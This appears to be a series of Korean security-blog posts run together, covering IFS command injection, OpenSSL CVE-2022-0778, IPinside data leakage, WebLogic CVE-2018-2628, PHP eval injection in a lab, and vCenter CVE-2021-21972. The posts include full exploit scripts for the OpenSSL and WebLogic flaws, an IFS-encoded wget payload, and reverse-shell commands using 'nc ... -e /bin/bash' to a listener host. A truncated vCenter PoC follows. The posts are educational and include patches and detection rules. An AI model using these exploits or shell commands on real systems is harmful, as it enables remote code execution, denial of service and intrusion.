1. IFS(Internal Field Separator) String 

- 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 환경 변수

- 디폴트 값은 공백/탭/개행 문자 (space, tab, new line)

 

- IFS를 쉘 스크립트로 테스트해보면, 공백을 기준으로 문자를 나누어짐

[사진 1] test.sh 및 결과

 

- IFS를 다른 값으로 바꾸어 테스트 시 [사진 2] 처럼 하나의 문자열로 출력됨

※ 문자열을 apple:key:seoul:korea처럼 바꾸면 정상적으로 구분될 것

[사진 2] IFS 변경 테스트 결과

 

IFS는 환경변수
> 어느 한 쉘 스크립트에서 IFS값을 바꿀 경우 다른 쉘 스크립트에서 오작동이 일어날 수 있음
> 따라서 만일 IFS을 바꿔서 사용할 일이 있으면, 반드시 마지막에 다시 초기 IFS값으로 롤백해야 하는 로직을 추가해야 함

 

- 만약 아래와 같은 문자열이 포함된 요청을 수신할 경우 ${IFS} 문자열이 공백으로 치환되 임의 명령 수행이 가능해짐

/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}

[사진 3] IFS 예시

 

 

'취약점 > 기타' 카테고리의 다른 글

AD(Active Directory) 공격  (0) 2023.04.20
Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

1.1 SSL 통신 과정

[사진 1] SSL 통신 과정

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-0778

- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점

① 영향받는 버전
- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전

② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 ​​BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램

 

2.1 분석

- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함

- BN_mod_sqrt()는 모듈러의 제곱근을 계산

※ 함수 위치 : bn_sqrt.c

※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수

 

- 해당 함수는 아래 형식의 인증서를 해석할 때 사용

① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우

② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서

 

- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생

- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음

while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }

- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분

① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함

② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생

 

[사진 3] Exploit 패킷 및 결과

2.2 PoC

- PoC의 동작 순서는 다음과 같음

① ClientHello 메시지를 전송

② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인

③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩

※ DER(Distinguished Encoding Rules)

바이너리 형태로 인코딩한 포맷으로 확장자는 .der

der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용

④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생

from socket import socket, AF_INET, SOCK_STREAM

from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse


class CraftedTLSConnection(TLSConnection):

    def _clientKeyExchange(self, settings, cipherSuite,
                           clientCertChain, privateKey,
                           certificateType,
                           tackExt, clientRandom, serverRandom,
                           keyExchange):
        if cipherSuite in CipherSuite.certAllSuites:
            # Consume server certificate message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.certificate,
                                       certificateType):
                if result in (0, 1):
                    yield result
                else:
                    break

        if cipherSuite not in CipherSuite.certSuites:
            # possibly consume SKE message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.server_key_exchange,
                                       cipherSuite):
                if result in (0, 1):
                    yield result
                else:
                    break

        # Consume Certificate request if any, if not bail
        for result in self._getMsg(ContentType.handshake,
                                   (HandshakeType.certificate_request,
                                    HandshakeType.server_hello_done)):
            if isinstance(result, CertificateRequest):
                craftedCertificate = CraftedCertificate(certificateType)

                craftedCertificate.create(open('crafted.crt', "rb").read())
                for r in self._sendMsg(craftedCertificate):
                    yield r
                print("Crafted Certificate msg sent, check server.")
                exit(0)

            else:
                print("Server does not support TLS client authentication, nothing to do.")
                exit(1)


class CraftedCertificate(HandshakeMsg):
    def __init__(self, certificateType):
        HandshakeMsg.__init__(self, HandshakeType.certificate)
        self.certificateType = certificateType
        self.certChain = None
        self.der = bytearray(0)

    def create(self, certBytes):
        self.der = certBytes

    def write(self):
        w = Writer()
        if self.certificateType == CertificateType.x509:
            chainLength = len(self.der) + 3
            w.add(chainLength, 3)
            w.addVarSeq(self.der, 1, 3)
        else:
            raise AssertionError()
        return self.postWrite(w)


def run(server, port):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((server, port))
    connection = CraftedTLSConnection(sock)
    connection.handshakeClientCert()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parameters')
    parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
    parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
    args = parser.parse_args()
    run(args.server, args.port)

3. 대응방안

① 최신 업데이트 적용

- i == e 를 종료 조건으로 가지는 for문으로 변경

패치코드

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;

    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

/* If not found, a is not a square or p is not prime. */
if (i >= e) {
    ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
    goto end;
}
영향 받는 버전 패치 버전
OpenSSL 1.0.2  OpenSSL 1.0.2zd
OpenSSL 1.1.1 OpenSSL 1.1.1n
OpenSSL 3.0  OpenSSL 3.0.2

※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-0778

https://github.com/drago-96/CVE-2022-0778

https://blog.alyac.co.kr/4563

https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498

https://blog.rovermoot.co.kr/237

https://blog.leestory.com/558

- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8

- https://www.dailysecu.com/news/articleView.html?idxno=135121

https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/

- https://github.com/openssl/openssl/blob/1832bb0f02e519a48f06a10467c7ce5f7f3feeeb/crypto/bn/bn_sqrt.c#L310-L318

- https://mazinga83.blogspot.com/2015/09/ssl.html

- https://github.com/jkakavas/CVE-2022-0778-POC

- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9

1. IPinside

- (주)인터리젠에서 제작한 단말기 정보 수집 및 실시간 개인정보 유출탐지 및 차단 솔루션

- 접속자 단말기 정보 수집, 해외 IP 분석 및 차단, 부정 접속 등을 방지하기 위한 프로그램

 

1.1 IPinside 동작 방식

① IPinside LWS Agent 애플리케이션도 로컬 서버를 통해서 웹사이트와 통신

② 은행 웹사이트가 접속자에 대한 정보를 더 얻기 위해 localhost:21300로 JSONP 요청을 보냄

JSONP (JSON with Padding)
- 자바 스크립트는 서로 다른 도메인에 대한 요청을 보안상 제한 = 동일근원정책(Same-Origin Policy, SOP)
- 이러한 정책으로 인해 생기는 이슈를 cross-domain 문제
- JSONP은 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용

③ 해당 요청 실패 시 은행 웹사이트는 접속을 거부 및 IPinside LWS Agent를 먼저 설치할 것을 요구

④ 애플리케이션이 실행되고 있다면 웹사이트는 wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있음

 

2. 취약점

- wdata, ndata, udata 필드를 통해서 다양한 데이터를 받아 볼 수 있으나 필요 정보보다 많은 데이터가 전송

[사진 1] localhost:21300로 JSONP 요청 결과

2.1 wdata

- 실행중인 프로세스에 대한 정보를 저장

- 난독화시 단지 무작위 바이트 하나만 사용

[사진 2] wdata 예시

- [사진 3]을 통해 wdata에는 다음과 같은 데이터 등이 저장됨

① IP 정보

c0 a8 7a 01 (실 IP 주소 192.168.122.1)

c0 a8 7a 8c (192.168.122.140, 첫 네트워크 카드의 IP 주소)

c0 a8 7a 0a (192.168.122.10, 두번째 네트워크 카드의 IP 주소)

② 운영체제 정보

65 (문자 e)는 GetProductInfo() 함수를 호출한 결과

※ GetProductInfo(): 로컬 컴퓨터의 운영 체제에 대한 제품 유형을 검색 및 반환

③ 하드드라이브 정보

하나는 시리얼 번호가 QM00001이고 다른 하나는 abcdef 

④ 실행중인 프로세스 정보

firefox.exe

⑤ 실행 플랫폼

가상 머신

⑥ 원격제어 프로그램 동작 정보

 

2.2 ndata

- 접속자의 IP 주소를 저장

- 난독화는 랜덤성도 없으며 데이터는 항상 동일

- 웹 사이트가 IPinside LWS Agent에 통신(응답)하는 과정에서 RESPONSE_IP의 값이 HDATAIP에 저장되며, 이는 접속자 IP주소

[사진 3] ndata 예시

2.3 udata 

- “u” 는 “unique”의 약자이며, 몇 가지 다른 아웃풋 타입이 있음

- 15개의 서로 다른 CPUID 명령호출의 결과를 합쳐서 만든 것

※ CPUID 명령어: 소프트웨어가 프로세서의 세부 정보를 검색할 수 있도록 하는 프로세서 보조 명령어

- 난독화는 랜덤성도 없으며 데이터는 항상 동일

- [사진 4]를 확인해보면 네트워크 카드, 하드 드라이브의 목록과 네트워크 카드의 MAC 주소도 목록에 포함

[사진 4] udata 예시

2.4 wdata, ndata, udata 보호

- 사용자를 비익명화하기 위한 여러 데이터가 사용

- 사용자의 H/W, S/W에 대한 데이터를 통해 시스템의 취약점 확인 > 잠재적으로 다른 공격으로 발전 할 가능성

- localhost:21300에서 동작하는 서버는 누가 응답하는지 상관하지 않음 > 어떤 웹사이트든 데이터 요청 가능

① wdata
- 3단계의 보호 장치가 적용_난독화, 압축, 암호화(공개키 암호화)
- 암호화에 사용된 RSA 암호화는 해당 테스트에서 2시간 36분 만에 비공개키를 계산

② ndata, udata
- 유일한 보호장치는 암호화(AES-256 기반의 대칭 암호화)
- 암호화 키는 애플리케이션 내에 하드코딩
- 실행 시마다 동일한 ciphertext를 생성_ CBC 블록 연쇄 모드를 사용하며, 초기회 백터 IV를 전달하지못해 항상 0으로 채움

 

> 재전송 공격을 통해 미리 저장한 유효한 응답을 웹 사이트에 보낼 수 있음

challenge-handshake scheme, 타임 스탬프(timestamp) 등 대응 방안이 확인되지 않음

 

∴ 데이터를 제대로 보호하고 있지 않으며, 어떤 임의의 웹사이트에서도 수집한 데이터에 접근할 수 있음

 

2.5 어플리케이션의 전반적인 보안성

- OpenSSL 라이브러리를 사용 > OpenSSL 1.0.1j 버전

※ 2015년 릴리즈, 2017년 OpenSSL 1.0.1에 대한 지원이 중단

 

- 단일 쓰레드로 동작 > 서비스 거부 공격에 취약

 

[사진 5] 코드 中 일부

- ssl_read 가 정확히 8192 바이트를 리턴해서 버퍼를 꽉 채울 수도 있음 > 이럴 경우 inputBuffer는 널문자로 종료되지 않음

- 이것을 복사한 request 도 마찬가지로 널문자로 종료되지 않음 > sprintf() 나 handle_request()에서 request를 널문자로 종료되는 문자열로 취급할 경우 버퍼를 초과해서 읽을 것

- 그렇게 되면 sprintf() 는 16384 바이트 이상의 데이터를 읽을 것 > 타깃 버퍼에 다 담기는 너무 큰 데이터

=> 스택오버플로우나 버퍼의 범위를 벗어난 읽기 등 발생가능

> 이 취약점 중 일부는 확실히 애플리케이션을 죽일 수도 있음 > 2개의 개념증명 웹페이지를 만들어서 여러 차례 확인

> 원격 코드 실행 취약점은 확인되지 않음 > StackGuard와 SafeSEH 기능이 효율적으로 동작하기 때문

 

3. 조치

- 블라디미르 팔란트

> 2022년 10월 21일 3건의 취약점 보고서를 KrCERT에 보고

> 11월 14일 KrCERT는 보고서를 인터리젠에 전달

- 인터리젠 관계자

> 보고서 중 하나만 2023년 1월 6일 전달 받음 주장

> 문제점에 대한 수정 버전은 2월에 배포할 예정 > 새로운 버전을 사용자에게 배포하는 것은 고객(은행 등)의 문제

 

- IPinside는 자동 업데이트 기능이 없음

> 사용자가 수동으로 업데이트를 다운로드하여 설치

> Wizvera Veraport와 같은 관리 애플리케이션을 통해 업데이트

> 은행에서 사용자에게 업데이트를 강제하지 않는 이상 둘 다 가능성이 작아 보임

 

4. 참고

https://palant.info/2023/01/25/ipinside-koreas-mandatory-spyware/

https://github.com/alanleedev/KoreaSecurityApps/blob/main/02_ipinside_lws_agent.md

1. WebLogic

- Oracle사에서 개발한 Web Application Server로 JAVAEE 아키텍처를 기반으로 하는 미들 웨어

 

Weblogic Server | Oracle

Oracle WebLogic Server is a unified, extensible platform for developing and deploying enterprise Java applications, on-premises or in the cloud.

www.oracle.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-2628

- Oracle WebLogic 서버의 RMI 레지스트리를 역직렬화로 원격 코드를 실행할 수 있는 취약점

- 기본 포트 7001를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격

영향받는 버전
- Oracle Weblogic 10.3.6.0 / 12.2.1.2 / 12.1.3.0 / 12.2.1.3

 

2.1 공격 흐름

① 공격자는 Weblogic 서버에서 오픈된 T3 프로토콜과 소켓 통신 생성

② 조작된 페이로드를 전송

③ 원격 서버가 전송받은 페이로드를 역직렬화하여 원격코드 실행

[사진 2] https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

 

Java RMI
- 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술
- 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출
- 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용
- 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용

Weblogic T3 프로토콜
- WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

 

2.2 실습

- Oracle Weblogic 10.3.6.0 정상 접근 확인

[사진 3] WebLogic 구동

 

- 먼저 공격자는 다음 명령을 수행

※ 해당 명령어는 포트를 열고 Listen을 하면서 대기중인 상태

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "nc 192.168.56.102 4444 -e /bin/bash"

[사진 4] 1099 포트 오픈 명령

 

- 이와 동시에 공격자는 리버스 쉘 생성을 위한 명령을 수행

[사진 5] 리버스 쉘

 

- 공개된 exploit을 이용해 페이로드 전송

※ exploit : https://www.exploit-db.com/exploits/44553

python 44553.py 192.168.56.112 7001 ysoserial-all.jar 192.168.56.102 1099 JRMPClient

[사진 6] exploit 페이로드 전송

- [사진 4]의 terminal을 확인해보면 [사진 7]과 같은 문자열이 확인됨

[사진 7] Listener Terminal

 

- 이후 [사진 5]의 리버스쉘 생성되며, 이에 따라 원격 명령 수행이 가능해짐

※ 실습에서는 리버스 쉘 생성이 되지않아, 와이어샤크를 통해 패킷 확인 결과 다른 IP로의 연결 시도가 된것으로 판단

[사진 8] 패킷 확인

 

- 위 과정이 정상적으로 이루어진 경우 리버스 쉘 생성과 원격 명령 수행이 가능해짐

[사진 9] 리버스 쉘 생성(위) 및 패킷 확인(아래)

2.3 PoC

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 

- 실제 공격을 시도하는 exploit()은 크게 3부분으로 이루어짐

① 취약 서버와 T3 통신을 위한 소켓 sock 생성

② 서버 정보를 따로 저장한 변수와 sock을 이용해 T3 서비스와 연결 생성

③ 소켓 연결 후 ysoserial의 JRMPClient2 라이브러리를 사용해 RMI Connection 포트 1099 오픈 페이로드 생성 및 취약 서버에 페이로드 전송

[사진 10] exploit()

함수 설명
t3_handshake() 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수
build_t3_request_object() T3 서비스와 통신 후에 socket 연결을 맺는 함수
generate_payload() Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수
send_payload_objdata Weblogic Server에 Socket을 통해 Payload를 전송하는 함수

 

3. 대응방안

3.1 서버측면

① 최신 버전으로 업데이트 적용

② Weblogic Server 포트 변경

- Weblogic Server의 기본 포트 7001를 사용 중인 시스템이 대상이 되는 취약점

- 기본 포트를 사용할 경우에는 다른 포트로 변경하여 사용

- 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용

 

3.2 네트워크 측면

① 보안장비에 탐지 정책 적용

- 직렬화 데이터는 해당 데이터가 직렬화된 데이터라는 것을 알려주는 "ac ed 00 05"라는 시그니처를 가짐

[사진 11] ac ed 00 05

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established;content:"|AC ED 00 05|";content:”Registry”;fast_pattern:only;)

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established; content:”|AC ED 00 05|”; content:”InvocationHandler”; fast_pattern:only;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

- https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

https://www.exploit-db.com/exploits/44553

https://github.com/frohoff/ysoserial
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27186&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTgtMjYyOA== 

- https://teamsign.tistory.com/3

1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점

 파일 업로드 후 원격 명령 실행으로 이어질 수 있음

 

영향받는 버전
- VMware vCenter Server 7.0 U1c 이전 7.x 버전
- VMware vCenter Server 6.7 U3I 이전 6.7 버전
- VMware vCenter Server 6.5 U3n 이전 6.5 버전
- VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전

[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")

2. 분석

2.1 원인

- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도

- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능

[사진 3] uploadova 플러그인 코드의 취약한 부분

 

- [사진 3]의 코드는 다음과 같은 문제를 유발시킴

① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음

② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음

∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능

 

[자신 4] PoC 화면

2.2 PoC

- 공개된 PoC를 확인 시 다음을 알 수 있음

① POST 메소드 사용

② /ui/vropspluginui/rest/services/uploadova URL 요청

③ .tar 확장자 파일을 업로드 시도

 

※ 대상 서버가 Windows인 경우

- .jsp 형식의 웹 쉘 등 악의적인 파일을

- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)

- 파일에 접근 및 원격 코드 실행

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
